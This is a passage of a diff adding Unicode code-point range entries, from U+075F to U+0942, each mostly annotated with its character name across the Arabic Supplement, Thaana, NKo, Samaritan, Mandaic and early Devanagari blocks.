+ [0x75f, 0x75f], /* ARABIC LETTER AIN WITH TWO DOTS VERTICALLY ABOVE */
+ [0x760, 0x760], /* ARABIC LETTER FEH WITH TWO DOTS BELOW */
+ [0x761, 0x761], /* ARABIC LETTER FEH WITH THREE DOTS POINTING UPWARDS BELOW */
+ [0x762, 0x762], /* ARABIC LETTER KEHEH WITH DOT ABOVE */
+ [0x763, 0x763], /* ARABIC LETTER KEHEH WITH THREE DOTS ABOVE */
+ [0x764, 0x764], /* ARABIC LETTER KEHEH WITH THREE DOTS POINTING UPWARDS BELOW */
+ [0x765, 0x765], /* ARABIC LETTER MEEM WITH DOT ABOVE */
+ [0x766, 0x766], /* ARABIC LETTER MEEM WITH DOT BELOW */
+ [0x767, 0x767], /* ARABIC LETTER NOON WITH TWO DOTS BELOW */
+ [0x768, 0x768], /* ARABIC LETTER NOON WITH SMALL TAH */
+ [0x769, 0x769], /* ARABIC LETTER NOON WITH SMALL V */
+ [0x76a, 0x76a], /* ARABIC LETTER LAM WITH BAR */
+ [0x76b, 0x76b], /* ARABIC LETTER REH WITH TWO DOTS VERTICALLY ABOVE */
+ [0x76c, 0x76c], /* ARABIC LETTER REH WITH HAMZA ABOVE */
+ [0x76d, 0x76d], /* ARABIC LETTER SEEN WITH TWO DOTS VERTICALLY ABOVE */
+ [0x76e, 0x76e], /* ARABIC LETTER HAH WITH SMALL ARABIC LETTER TAH BELOW */
+ [0x76f, 0x76f], /* ARABIC LETTER HAH WITH SMALL ARABIC LETTER TAH AND TWO DOTS */
+ [0x770, 0x770], /* ARABIC LETTER SEEN WITH SMALL ARABIC LETTER TAH AND TWO DOTS */
+ [0x771, 0x771], /* ARABIC LETTER REH WITH SMALL ARABIC LETTER TAH AND TWO DOTS */
+ [0x772, 0x772], /* ARABIC LETTER HAH WITH SMALL ARABIC LETTER TAH ABOVE */
+ [0x773, 0x773], /* ARABIC LETTER ALEF WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE */
+ [0x774, 0x774], /* ARABIC LETTER ALEF WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE */
+ [0x775, 0x775], /* ARABIC LETTER FARSI YEH WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE */
+ [0x776, 0x776], /* ARABIC LETTER FARSI YEH WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE */
+ [0x777, 0x777], /* ARABIC LETTER FARSI YEH WITH EXTENDED ARABIC-INDIC DIGIT FOUR BELOW */
+ [0x778, 0x778], /* ARABIC LETTER WAW WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE */
+ [0x779, 0x779], /* ARABIC LETTER WAW WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE */
+ [0x77a, 0x77a], /* ARABIC LETTER YEH BARREE WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE */
+ [0x77b, 0x77b], /* ARABIC LETTER YEH BARREE WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE */
+ [0x77c, 0x77c], /* ARABIC LETTER HAH WITH EXTENDED ARABIC-INDIC DIGIT FOUR BELOW */
+ [0x77d, 0x77d], /* ARABIC LETTER SEEN WITH EXTENDED ARABIC-INDIC DIGIT FOUR ABOVE */
+ [0x77e, 0x77e], /* ARABIC LETTER SEEN WITH INVERTED V */
+ [0x77f, 0x77f], /* ARABIC LETTER KAF WITH TWO DOTS ABOVE */
+ [0x780, 0x780], /* THAANA LETTER HAA */
+ [0x781, 0x781], /* THAANA LETTER SHAVIYANI */
+ [0x782, 0x782], /* THAANA LETTER NOONU */
+ [0x783, 0x783], /* THAANA LETTER RAA */
+ [0x784, 0x784], /* THAANA LETTER BAA */
+ [0x785, 0x785], /* THAANA LETTER LHAVIYANI */
+ [0x786, 0x786], /* THAANA LETTER KAAFU */
+ [0x787, 0x787], /* THAANA LETTER ALIFU */
+ [0x788, 0x788], /* THAANA LETTER VAAVU */
+ [0x789, 0x789], /* THAANA LETTER MEEMU */
+ [0x78a, 0x78a], /* THAANA LETTER FAAFU */
+ [0x78b, 0x78b], /* THAANA LETTER DHAALU */
+ [0x78c, 0x78c], /* THAANA LETTER THAA */
+ [0x78d, 0x78d], /* THAANA LETTER LAAMU */
+ [0x78e, 0x78e], /* THAANA LETTER GAAFU */
+ [0x78f, 0x78f], /* THAANA LETTER GNAVIYANI */
+ [0x790, 0x790], /* THAANA LETTER SEENU */
+ [0x791, 0x791], /* THAANA LETTER DAVIYANI */
+ [0x792, 0x792], /* THAANA LETTER ZAVIYANI */
+ [0x793, 0x793], /* THAANA LETTER TAVIYANI */
+ [0x794, 0x794], /* THAANA LETTER YAA */
+ [0x795, 0x795], /* THAANA LETTER PAVIYANI */
+ [0x796, 0x796], /* THAANA LETTER JAVIYANI */
+ [0x797, 0x797], /* THAANA LETTER CHAVIYANI */
+ [0x798, 0x798], /* THAANA LETTER TTAA */
+ [0x799, 0x799], /* THAANA LETTER HHAA */
+ [0x79a, 0x79a], /* THAANA LETTER KHAA */
+ [0x79b, 0x79b], /* THAANA LETTER THAALU */
+ [0x79c, 0x79c], /* THAANA LETTER ZAA */
+ [0x79d, 0x79d], /* THAANA LETTER SHEENU */
+ [0x79e, 0x79e], /* THAANA LETTER SAADHU */
+ [0x79f, 0x79f], /* THAANA LETTER DAADHU */
+ [0x7a0, 0x7a0], /* THAANA LETTER TO */
+ [0x7a1, 0x7a1], /* THAANA LETTER ZO */
+ [0x7a2, 0x7a2], /* THAANA LETTER AINU */
+ [0x7a3, 0x7a3], /* THAANA LETTER GHAINU */
+ [0x7a4, 0x7a4], /* THAANA LETTER QAAFU */
+ [0x7a5, 0x7a5], /* THAANA LETTER WAAVU */
+ [0x7a6, 0x7a6], /* THAANA ABAFILI */
+ [0x7a7, 0x7a7], /* THAANA AABAAFILI */
+ [0x7a8, 0x7a8], /* THAANA IBIFILI */
+ [0x7a9, 0x7a9], /* THAANA EEBEEFILI */
+ [0x7aa, 0x7aa], /* THAANA UBUFILI */
+ [0x7ab, 0x7ab], /* THAANA OOBOOFILI */
+ [0x7ac, 0x7ac], /* THAANA EBEFILI */
+ [0x7ad, 0x7ad], /* THAANA EYBEYFILI */
+ [0x7ae, 0x7ae], /* THAANA OBOFILI */
+ [0x7af, 0x7af], /* THAANA OABOAFILI */
+ [0x7b0, 0x7b0], /* THAANA SUKUN */
+ [0x7b1, 0x7b1], /* THAANA LETTER NAA */
+ [0x7b2, 0x7b2],
+ [0x7b3, 0x7b3],
+ [0x7b4, 0x7b4],
+ [0x7b5, 0x7b5],
+ [0x7b6, 0x7b6],
+ [0x7b7, 0x7b7],
+ [0x7b8, 0x7b8],
+ [0x7b9, 0x7b9],
+ [0x7ba, 0x7ba],
+ [0x7bb, 0x7bb],
+ [0x7bc, 0x7bc],
+ [0x7bd, 0x7bd],
+ [0x7be, 0x7be],
+ [0x7bf, 0x7bf],
+ [0x7c0, 0x7c0], /* NKO DIGIT ZERO */
+ [0x7c1, 0x7c1], /* NKO DIGIT ONE */
+ [0x7c2, 0x7c2], /* NKO DIGIT TWO */
+ [0x7c3, 0x7c3], /* NKO DIGIT THREE */
+ [0x7c4, 0x7c4], /* NKO DIGIT FOUR */
+ [0x7c5, 0x7c5], /* NKO DIGIT FIVE */
+ [0x7c6, 0x7c6], /* NKO DIGIT SIX */
+ [0x7c7, 0x7c7], /* NKO DIGIT SEVEN */
+ [0x7c8, 0x7c8], /* NKO DIGIT EIGHT */
+ [0x7c9, 0x7c9], /* NKO DIGIT NINE */
+ [0x7ca, 0x7ca], /* NKO LETTER A */
+ [0x7cb, 0x7cb], /* NKO LETTER EE */
+ [0x7cc, 0x7cc], /* NKO LETTER I */
+ [0x7cd, 0x7cd], /* NKO LETTER E */
+ [0x7ce, 0x7ce], /* NKO LETTER U */
+ [0x7cf, 0x7cf], /* NKO LETTER OO */
+ [0x7d0, 0x7d0], /* NKO LETTER O */
+ [0x7d1, 0x7d1], /* NKO LETTER DAGBASINNA */
+ [0x7d2, 0x7d2], /* NKO LETTER N */
+ [0x7d3, 0x7d3], /* NKO LETTER BA */
+ [0x7d4, 0x7d4], /* NKO LETTER PA */
+ [0x7d5, 0x7d5], /* NKO LETTER TA */
+ [0x7d6, 0x7d6], /* NKO LETTER JA */
+ [0x7d7, 0x7d7], /* NKO LETTER CHA */
+ [0x7d8, 0x7d8], /* NKO LETTER DA */
+ [0x7d9, 0x7d9], /* NKO LETTER RA */
+ [0x7da, 0x7da], /* NKO LETTER RRA */
+ [0x7db, 0x7db], /* NKO LETTER SA */
+ [0x7dc, 0x7dc], /* NKO LETTER GBA */
+ [0x7dd, 0x7dd], /* NKO LETTER FA */
+ [0x7de, 0x7de], /* NKO LETTER KA */
+ [0x7df, 0x7df], /* NKO LETTER LA */
+ [0x7e0, 0x7e0], /* NKO LETTER NA WOLOSO */
+ [0x7e1, 0x7e1], /* NKO LETTER MA */
+ [0x7e2, 0x7e2], /* NKO LETTER NYA */
+ [0x7e3, 0x7e3], /* NKO LETTER NA */
+ [0x7e4, 0x7e4], /* NKO LETTER HA */
+ [0x7e5, 0x7e5], /* NKO LETTER WA */
+ [0x7e6, 0x7e6], /* NKO LETTER YA */
+ [0x7e7, 0x7e7], /* NKO LETTER NYA WOLOSO */
+ [0x7e8, 0x7e8], /* NKO LETTER JONA JA */
+ [0x7e9, 0x7e9], /* NKO LETTER JONA CHA */
+ [0x7ea, 0x7ea], /* NKO LETTER JONA RA */
+ [0x7eb, 0x7eb], /* NKO COMBINING SHORT HIGH TONE */
+ [0x7ec, 0x7ec], /* NKO COMBINING SHORT LOW TONE */
+ [0x7ed, 0x7ed], /* NKO COMBINING SHORT RISING TONE */
+ [0x7ee, 0x7ee], /* NKO COMBINING LONG DESCENDING TONE */
+ [0x7ef, 0x7ef], /* NKO COMBINING LONG HIGH TONE */
+ [0x7f0, 0x7f0], /* NKO COMBINING LONG LOW TONE */
+ [0x7f1, 0x7f1], /* NKO COMBINING LONG RISING TONE */
+ [0x7f2, 0x7f2], /* NKO COMBINING NASALIZATION MARK */
+ [0x7f3, 0x7f3], /* NKO COMBINING DOUBLE DOT ABOVE */
+ [0x7f4, 0x7f4], /* NKO HIGH TONE APOSTROPHE */
+ [0x7f5, 0x7f5], /* NKO LOW TONE APOSTROPHE */
+ [0x7f6, 0x7f6], /* NKO SYMBOL OO DENNEN */
+ [0x7f7, 0x7f7], /* NKO SYMBOL GBAKURUNEN */
+ [0x7f8, 0x7f8], /* NKO COMMA */
+ [0x7f9, 0x7f9], /* NKO EXCLAMATION MARK */
+ [0x7fa, 0x7fa], /* NKO LAJANYALAN */
+ [0x7fb, 0x7fb],
+ [0x7fc, 0x7fc],
+ [0x7fd, 0x7fd],
+ [0x7fe, 0x7fe],
+ [0x7ff, 0x7ff],
+ [0x800, 0x800], /* SAMARITAN LETTER ALAF */
+ [0x801, 0x801], /* SAMARITAN LETTER BIT */
+ [0x802, 0x802], /* SAMARITAN LETTER GAMAN */
+ [0x803, 0x803], /* SAMARITAN LETTER DALAT */
+ [0x804, 0x804], /* SAMARITAN LETTER IY */
+ [0x805, 0x805], /* SAMARITAN LETTER BAA */
+ [0x806, 0x806], /* SAMARITAN LETTER ZEN */
+ [0x807, 0x807], /* SAMARITAN LETTER IT */
+ [0x808, 0x808], /* SAMARITAN LETTER TIT */
+ [0x809, 0x809], /* SAMARITAN LETTER YUT */
+ [0x80a, 0x80a], /* SAMARITAN LETTER KAAF */
+ [0x80b, 0x80b], /* SAMARITAN LETTER LABAT */
+ [0x80c, 0x80c], /* SAMARITAN LETTER MIM */
+ [0x80d, 0x80d], /* SAMARITAN LETTER NUN */
+ [0x80e, 0x80e], /* SAMARITAN LETTER SINGAAT */
+ [0x80f, 0x80f], /* SAMARITAN LETTER IN */
+ [0x810, 0x810], /* SAMARITAN LETTER FI */
+ [0x811, 0x811], /* SAMARITAN LETTER TSAADIY */
+ [0x812, 0x812], /* SAMARITAN LETTER QUF */
+ [0x813, 0x813], /* SAMARITAN LETTER RISH */
+ [0x814, 0x814], /* SAMARITAN LETTER SHAN */
+ [0x815, 0x815], /* SAMARITAN LETTER TAAF */
+ [0x816, 0x816], /* SAMARITAN MARK IN */
+ [0x817, 0x817], /* SAMARITAN MARK IN-ALAF */
+ [0x818, 0x818], /* SAMARITAN MARK OCCLUSION */
+ [0x819, 0x819], /* SAMARITAN MARK DAGESH */
+ [0x81a, 0x81a], /* SAMARITAN MODIFIER LETTER EPENTHETIC YUT */
+ [0x81b, 0x81b], /* SAMARITAN MARK EPENTHETIC YUT */
+ [0x81c, 0x81c], /* SAMARITAN VOWEL SIGN LONG E */
+ [0x81d, 0x81d], /* SAMARITAN VOWEL SIGN E */
+ [0x81e, 0x81e], /* SAMARITAN VOWEL SIGN OVERLONG AA */
+ [0x81f, 0x81f], /* SAMARITAN VOWEL SIGN LONG AA */
+ [0x820, 0x820], /* SAMARITAN VOWEL SIGN AA */
+ [0x821, 0x821], /* SAMARITAN VOWEL SIGN OVERLONG A */
+ [0x822, 0x822], /* SAMARITAN VOWEL SIGN LONG A */
+ [0x823, 0x823], /* SAMARITAN VOWEL SIGN A */
+ [0x824, 0x824], /* SAMARITAN MODIFIER LETTER SHORT A */
+ [0x825, 0x825], /* SAMARITAN VOWEL SIGN SHORT A */
+ [0x826, 0x826], /* SAMARITAN VOWEL SIGN LONG U */
+ [0x827, 0x827], /* SAMARITAN VOWEL SIGN U */
+ [0x828, 0x828], /* SAMARITAN MODIFIER LETTER I */
+ [0x829, 0x829], /* SAMARITAN VOWEL SIGN LONG I */
+ [0x82a, 0x82a], /* SAMARITAN VOWEL SIGN I */
+ [0x82b, 0x82b], /* SAMARITAN VOWEL SIGN O */
+ [0x82c, 0x82c], /* SAMARITAN VOWEL SIGN SUKUN */
+ [0x82d, 0x82d], /* SAMARITAN MARK NEQUDAA */
+ [0x82e, 0x82e],
+ [0x82f, 0x82f],
+ [0x830, 0x830], /* SAMARITAN PUNCTUATION NEQUDAA */
+ [0x831, 0x831], /* SAMARITAN PUNCTUATION AFSAAQ */
+ [0x832, 0x832], /* SAMARITAN PUNCTUATION ANGED */
+ [0x833, 0x833], /* SAMARITAN PUNCTUATION BAU */
+ [0x834, 0x834], /* SAMARITAN PUNCTUATION ATMAAU */
+ [0x835, 0x835], /* SAMARITAN PUNCTUATION SHIYYAALAA */
+ [0x836, 0x836], /* SAMARITAN ABBREVIATION MARK */
+ [0x837, 0x837], /* SAMARITAN PUNCTUATION MELODIC QITSA */
+ [0x838, 0x838], /* SAMARITAN PUNCTUATION ZIQAA */
+ [0x839, 0x839], /* SAMARITAN PUNCTUATION QITSA */
+ [0x83a, 0x83a], /* SAMARITAN PUNCTUATION ZAEF */
+ [0x83b, 0x83b], /* SAMARITAN PUNCTUATION TURU */
+ [0x83c, 0x83c], /* SAMARITAN PUNCTUATION ARKAANU */
+ [0x83d, 0x83d], /* SAMARITAN PUNCTUATION SOF MASHFAAT */
+ [0x83e, 0x83e], /* SAMARITAN PUNCTUATION ANNAAU */
+ [0x83f, 0x83f],
+ [0x840, 0x840], /* MANDAIC LETTER HALQA */
+ [0x841, 0x841], /* MANDAIC LETTER AB */
+ [0x842, 0x842], /* MANDAIC LETTER AG */
+ [0x843, 0x843], /* MANDAIC LETTER AD */
+ [0x844, 0x844], /* MANDAIC LETTER AH */
+ [0x845, 0x845], /* MANDAIC LETTER USHENNA */
+ [0x846, 0x846], /* MANDAIC LETTER AZ */
+ [0x847, 0x847], /* MANDAIC LETTER IT */
+ [0x848, 0x848], /* MANDAIC LETTER ATT */
+ [0x849, 0x849], /* MANDAIC LETTER AKSA */
+ [0x84a, 0x84a], /* MANDAIC LETTER AK */
+ [0x84b, 0x84b], /* MANDAIC LETTER AL */
+ [0x84c, 0x84c], /* MANDAIC LETTER AM */
+ [0x84d, 0x84d], /* MANDAIC LETTER AN */
+ [0x84e, 0x84e], /* MANDAIC LETTER AS */
+ [0x84f, 0x84f], /* MANDAIC LETTER IN */
+ [0x850, 0x850], /* MANDAIC LETTER AP */
+ [0x851, 0x851], /* MANDAIC LETTER ASZ */
+ [0x852, 0x852], /* MANDAIC LETTER AQ */
+ [0x853, 0x853], /* MANDAIC LETTER AR */
+ [0x854, 0x854], /* MANDAIC LETTER ASH */
+ [0x855, 0x855], /* MANDAIC LETTER AT */
+ [0x856, 0x856], /* MANDAIC LETTER DUSHENNA */
+ [0x857, 0x857], /* MANDAIC LETTER KAD */
+ [0x858, 0x858], /* MANDAIC LETTER AIN */
+ [0x859, 0x859], /* MANDAIC AFFRICATION MARK */
+ [0x85a, 0x85a], /* MANDAIC VOCALIZATION MARK */
+ [0x85b, 0x85b], /* MANDAIC GEMINATION MARK */
+ [0x85c, 0x85c],
+ [0x85d, 0x85d],
+ [0x85e, 0x85e], /* MANDAIC PUNCTUATION */
+ [0x85f, 0x85f],
+ [0x860, 0x860],
+ [0x861, 0x861],
+ [0x862, 0x862],
+ [0x863, 0x863],
+ [0x864, 0x864],
+ [0x865, 0x865],
+ [0x866, 0x866],
+ [0x867, 0x867],
+ [0x868, 0x868],
+ [0x869, 0x869],
+ [0x86a, 0x86a],
+ [0x86b, 0x86b],
+ [0x86c, 0x86c],
+ [0x86d, 0x86d],
+ [0x86e, 0x86e],
+ [0x86f, 0x86f],
+ [0x870, 0x870],
+ [0x871, 0x871],
+ [0x872, 0x872],
+ [0x873, 0x873],
+ [0x874, 0x874],
+ [0x875, 0x875],
+ [0x876, 0x876],
+ [0x877, 0x877],
+ [0x878, 0x878],
+ [0x879, 0x879],
+ [0x87a, 0x87a],
+ [0x87b, 0x87b],
+ [0x87c, 0x87c],
+ [0x87d, 0x87d],
+ [0x87e, 0x87e],
+ [0x87f, 0x87f],
+ [0x880, 0x880],
+ [0x881, 0x881],
+ [0x882, 0x882],
+ [0x883, 0x883],
+ [0x884, 0x884],
+ [0x885, 0x885],
+ [0x886, 0x886],
+ [0x887, 0x887],
+ [0x888, 0x888],
+ [0x889, 0x889],
+ [0x88a, 0x88a],
+ [0x88b, 0x88b],
+ [0x88c, 0x88c],
+ [0x88d, 0x88d],
+ [0x88e, 0x88e],
+ [0x88f, 0x88f],
+ [0x890, 0x890],
+ [0x891, 0x891],
+ [0x892, 0x892],
+ [0x893, 0x893],
+ [0x894, 0x894],
+ [0x895, 0x895],
+ [0x896, 0x896],
+ [0x897, 0x897],
+ [0x898, 0x898],
+ [0x899, 0x899],
+ [0x89a, 0x89a],
+ [0x89b, 0x89b],
+ [0x89c, 0x89c],
+ [0x89d, 0x89d],
+ [0x89e, 0x89e],
+ [0x89f, 0x89f],
+ [0x8a0, 0x8a0], /* ARABIC LETTER BEH WITH SMALL V BELOW */
+ [0x8a1, 0x8a1], /* ARABIC LETTER BEH WITH HAMZA ABOVE */
+ [0x8a2, 0x8a2], /* ARABIC LETTER JEEM WITH TWO DOTS ABOVE */
+ [0x8a3, 0x8a3], /* ARABIC LETTER TAH WITH TWO DOTS ABOVE */
+ [0x8a4, 0x8a4], /* ARABIC LETTER FEH WITH DOT BELOW AND THREE DOTS ABOVE */
+ [0x8a5, 0x8a5], /* ARABIC LETTER QAF WITH DOT BELOW */
+ [0x8a6, 0x8a6], /* ARABIC LETTER LAM WITH DOUBLE BAR */
+ [0x8a7, 0x8a7], /* ARABIC LETTER MEEM WITH THREE DOTS ABOVE */
+ [0x8a8, 0x8a8], /* ARABIC LETTER YEH WITH TWO DOTS BELOW AND HAMZA ABOVE */
+ [0x8a9, 0x8a9], /* ARABIC LETTER YEH WITH TWO DOTS BELOW AND DOT ABOVE */
+ [0x8aa, 0x8aa], /* ARABIC LETTER REH WITH LOOP */
+ [0x8ab, 0x8ab], /* ARABIC LETTER WAW WITH DOT WITHIN */
+ [0x8ac, 0x8ac], /* ARABIC LETTER ROHINGYA YEH */
+ [0x8ad, 0x8ad], /* ARABIC LETTER LOW ALEF */
+ [0x8ae, 0x8ae], /* ARABIC LETTER DAL WITH THREE DOTS BELOW */
+ [0x8af, 0x8af], /* ARABIC LETTER SAD WITH THREE DOTS BELOW */
+ [0x8b0, 0x8b0], /* ARABIC LETTER GAF WITH INVERTED STROKE */
+ [0x8b1, 0x8b1], /* ARABIC LETTER STRAIGHT WAW */
+ [0x8b2, 0x8b2], /* ARABIC LETTER ZAIN WITH INVERTED V ABOVE */
+ [0x8b3, 0x8b3], /* ARABIC LETTER AIN WITH THREE DOTS BELOW */
+ [0x8b4, 0x8b4], /* ARABIC LETTER KAF WITH DOT BELOW */
+ [0x8b5, 0x8b5],
+ [0x8b6, 0x8b6], /* ARABIC LETTER BEH WITH SMALL MEEM ABOVE */
+ [0x8b7, 0x8b7], /* ARABIC LETTER PEH WITH SMALL MEEM ABOVE */
+ [0x8b8, 0x8b8], /* ARABIC LETTER TEH WITH SMALL TEH ABOVE */
+ [0x8b9, 0x8b9], /* ARABIC LETTER REH WITH SMALL NOON ABOVE */
+ [0x8ba, 0x8ba], /* ARABIC LETTER YEH WITH TWO DOTS BELOW AND SMALL NOON ABOVE */
+ [0x8bb, 0x8bb], /* ARABIC LETTER AFRICAN FEH */
+ [0x8bc, 0x8bc], /* ARABIC LETTER AFRICAN QAF */
+ [0x8bd, 0x8bd], /* ARABIC LETTER AFRICAN NOON */
+ [0x8be, 0x8be],
+ [0x8bf, 0x8bf],
+ [0x8c0, 0x8c0],
+ [0x8c1, 0x8c1],
+ [0x8c2, 0x8c2],
+ [0x8c3, 0x8c3],
+ [0x8c4, 0x8c4],
+ [0x8c5, 0x8c5],
+ [0x8c6, 0x8c6],
+ [0x8c7, 0x8c7],
+ [0x8c8, 0x8c8],
+ [0x8c9, 0x8c9],
+ [0x8ca, 0x8ca],
+ [0x8cb, 0x8cb],
+ [0x8cc, 0x8cc],
+ [0x8cd, 0x8cd],
+ [0x8ce, 0x8ce],
+ [0x8cf, 0x8cf],
+ [0x8d0, 0x8d0],
+ [0x8d1, 0x8d1],
+ [0x8d2, 0x8d2],
+ [0x8d3, 0x8d3],
+ [0x8d4, 0x8d4], /* ARABIC SMALL HIGH WORD AR-RUB */
+ [0x8d5, 0x8d5], /* ARABIC SMALL HIGH SAD */
+ [0x8d6, 0x8d6], /* ARABIC SMALL HIGH AIN */
+ [0x8d7, 0x8d7], /* ARABIC SMALL HIGH QAF */
+ [0x8d8, 0x8d8], /* ARABIC SMALL HIGH NOON WITH KASRA */
+ [0x8d9, 0x8d9], /* ARABIC SMALL LOW NOON WITH KASRA */
+ [0x8da, 0x8da], /* ARABIC SMALL HIGH WORD ATH-THALATHA */
+ [0x8db, 0x8db], /* ARABIC SMALL HIGH WORD AS-SAJDA */
+ [0x8dc, 0x8dc], /* ARABIC SMALL HIGH WORD AN-NISF */
+ [0x8dd, 0x8dd], /* ARABIC SMALL HIGH WORD SAKTA */
+ [0x8de, 0x8de], /* ARABIC SMALL HIGH WORD QIF */
+ [0x8df, 0x8df], /* ARABIC SMALL HIGH WORD WAQFA */
+ [0x8e0, 0x8e0], /* ARABIC SMALL HIGH FOOTNOTE MARKER */
+ [0x8e1, 0x8e1], /* ARABIC SMALL HIGH SIGN SAFHA */
+ [0x8e2, 0x8e2], /* ARABIC DISPUTED END OF AYAH */
+ [0x8e3, 0x8e3], /* ARABIC TURNED DAMMA BELOW */
+ [0x8e4, 0x8e4], /* ARABIC CURLY FATHA */
+ [0x8e5, 0x8e5], /* ARABIC CURLY DAMMA */
+ [0x8e6, 0x8e6], /* ARABIC CURLY KASRA */
+ [0x8e7, 0x8e7], /* ARABIC CURLY FATHATAN */
+ [0x8e8, 0x8e8], /* ARABIC CURLY DAMMATAN */
+ [0x8e9, 0x8e9], /* ARABIC CURLY KASRATAN */
+ [0x8ea, 0x8ea], /* ARABIC TONE ONE DOT ABOVE */
+ [0x8eb, 0x8eb], /* ARABIC TONE TWO DOTS ABOVE */
+ [0x8ec, 0x8ec], /* ARABIC TONE LOOP ABOVE */
+ [0x8ed, 0x8ed], /* ARABIC TONE ONE DOT BELOW */
+ [0x8ee, 0x8ee], /* ARABIC TONE TWO DOTS BELOW */
+ [0x8ef, 0x8ef], /* ARABIC TONE LOOP BELOW */
+ [0x8f0, 0x8f0], /* ARABIC OPEN FATHATAN */
+ [0x8f1, 0x8f1], /* ARABIC OPEN DAMMATAN */
+ [0x8f2, 0x8f2], /* ARABIC OPEN KASRATAN */
+ [0x8f3, 0x8f3], /* ARABIC SMALL HIGH WAW */
+ [0x8f4, 0x8f4], /* ARABIC FATHA WITH RING */
+ [0x8f5, 0x8f5], /* ARABIC FATHA WITH DOT ABOVE */
+ [0x8f6, 0x8f6], /* ARABIC KASRA WITH DOT BELOW */
+ [0x8f7, 0x8f7], /* ARABIC LEFT ARROWHEAD ABOVE */
+ [0x8f8, 0x8f8], /* ARABIC RIGHT ARROWHEAD ABOVE */
+ [0x8f9, 0x8f9], /* ARABIC LEFT ARROWHEAD BELOW */
+ [0x8fa, 0x8fa], /* ARABIC RIGHT ARROWHEAD BELOW */
+ [0x8fb, 0x8fb], /* ARABIC DOUBLE RIGHT ARROWHEAD ABOVE */
+ [0x8fc, 0x8fc], /* ARABIC DOUBLE RIGHT ARROWHEAD ABOVE WITH DOT */
+ [0x8fd, 0x8fd], /* ARABIC RIGHT ARROWHEAD ABOVE WITH DOT */
+ [0x8fe, 0x8fe], /* ARABIC DAMMA WITH DOT */
+ [0x8ff, 0x8ff], /* ARABIC MARK SIDEWAYS NOON GHUNNA */
+ [0x900, 0x900], /* DEVANAGARI SIGN INVERTED CANDRABINDU */
+ [0x901, 0x901], /* DEVANAGARI SIGN CANDRABINDU */
+ [0x902, 0x902], /* DEVANAGARI SIGN ANUSVARA */
+ [0x903, 0x903], /* DEVANAGARI SIGN VISARGA */
+ [0x904, 0x904], /* DEVANAGARI LETTER SHORT A */
+ [0x905, 0x905], /* DEVANAGARI LETTER A */
+ [0x906, 0x906], /* DEVANAGARI LETTER AA */
+ [0x907, 0x907], /* DEVANAGARI LETTER I */
+ [0x908, 0x908], /* DEVANAGARI LETTER II */
+ [0x909, 0x909], /* DEVANAGARI LETTER U */
+ [0x90a, 0x90a], /* DEVANAGARI LETTER UU */
+ [0x90b, 0x90b], /* DEVANAGARI LETTER VOCALIC R */
+ [0x90c, 0x90c], /* DEVANAGARI LETTER VOCALIC L */
+ [0x90d, 0x90d], /* DEVANAGARI LETTER CANDRA E */
+ [0x90e, 0x90e], /* DEVANAGARI LETTER SHORT E */
+ [0x90f, 0x90f], /* DEVANAGARI LETTER E */
+ [0x910, 0x910], /* DEVANAGARI LETTER AI */
+ [0x911, 0x911], /* DEVANAGARI LETTER CANDRA O */
+ [0x912, 0x912], /* DEVANAGARI LETTER SHORT O */
+ [0x913, 0x913], /* DEVANAGARI LETTER O */
+ [0x914, 0x914], /* DEVANAGARI LETTER AU */
+ [0x915, 0x915], /* DEVANAGARI LETTER KA */
+ [0x916, 0x916], /* DEVANAGARI LETTER KHA */
+ [0x917, 0x917], /* DEVANAGARI LETTER GA */
+ [0x918, 0x918], /* DEVANAGARI LETTER GHA */
+ [0x919, 0x919], /* DEVANAGARI LETTER NGA */
+ [0x91a, 0x91a], /* DEVANAGARI LETTER CA */
+ [0x91b, 0x91b], /* DEVANAGARI LETTER CHA */
+ [0x91c, 0x91c], /* DEVANAGARI LETTER JA */
+ [0x91d, 0x91d], /* DEVANAGARI LETTER JHA */
+ [0x91e, 0x91e], /* DEVANAGARI LETTER NYA */
+ [0x91f, 0x91f], /* DEVANAGARI LETTER TTA */
+ [0x920, 0x920], /* DEVANAGARI LETTER TTHA */
+ [0x921, 0x921], /* DEVANAGARI LETTER DDA */
+ [0x922, 0x922], /* DEVANAGARI LETTER DDHA */
+ [0x923, 0x923], /* DEVANAGARI LETTER NNA */
+ [0x924, 0x924], /* DEVANAGARI LETTER TA */
+ [0x925, 0x925], /* DEVANAGARI LETTER THA */
+ [0x926, 0x926], /* DEVANAGARI LETTER DA */
+ [0x927, 0x927], /* DEVANAGARI LETTER DHA */
+ [0x928, 0x928], /* DEVANAGARI LETTER NA */
+ [0x929, 0x929], /* DEVANAGARI LETTER NNNA */
+ [0x92a, 0x92a], /* DEVANAGARI LETTER PA */
+ [0x92b, 0x92b], /* DEVANAGARI LETTER PHA */
+ [0x92c, 0x92c], /* DEVANAGARI LETTER BA */
+ [0x92d, 0x92d], /* DEVANAGARI LETTER BHA */
+ [0x92e, 0x92e], /* DEVANAGARI LETTER MA */
+ [0x92f, 0x92f], /* DEVANAGARI LETTER YA */
+ [0x930, 0x930], /* DEVANAGARI LETTER RA */
+ [0x931, 0x931], /* DEVANAGARI LETTER RRA */
+ [0x932, 0x932], /* DEVANAGARI LETTER LA */
+ [0x933, 0x933], /* DEVANAGARI LETTER LLA */
+ [0x934, 0x934], /* DEVANAGARI LETTER LLLA */
+ [0x935, 0x935], /* DEVANAGARI LETTER VA */
+ [0x936, 0x936], /* DEVANAGARI LETTER SHA */
+ [0x937, 0x937], /* DEVANAGARI LETTER SSA */
+ [0x938, 0x938], /* DEVANAGARI LETTER SA */
+ [0x939, 0x939], /* DEVANAGARI LETTER HA */
+ [0x93a, 0x93a], /* DEVANAGARI VOWEL SIGN OE */
+ [0x93b, 0x93b], /* DEVANAGARI VOWEL SIGN OOE */
+ [0x93c, 0x93c], /* DEVANAGARI SIGN NUKTA */
+ [0x93d, 0x93d], /* DEVANAGARI SIGN AVAGRAHA */
+ [0x93e, 0x93e], /* DEVANAGARI VOWEL SIGN AA */
+ [0x93f, 0x93f], /* DEVANAGARI VOWEL SIGN I */
+ [0x940, 0x940], /* DEVANAGARI VOWEL SIGN II */
+ [0x941, 0x941], /* DEVANAGARI VOWEL SIGN U */
+ [0x942, 0x942], /* DEVANAGARI VOWEL SIGN UU */
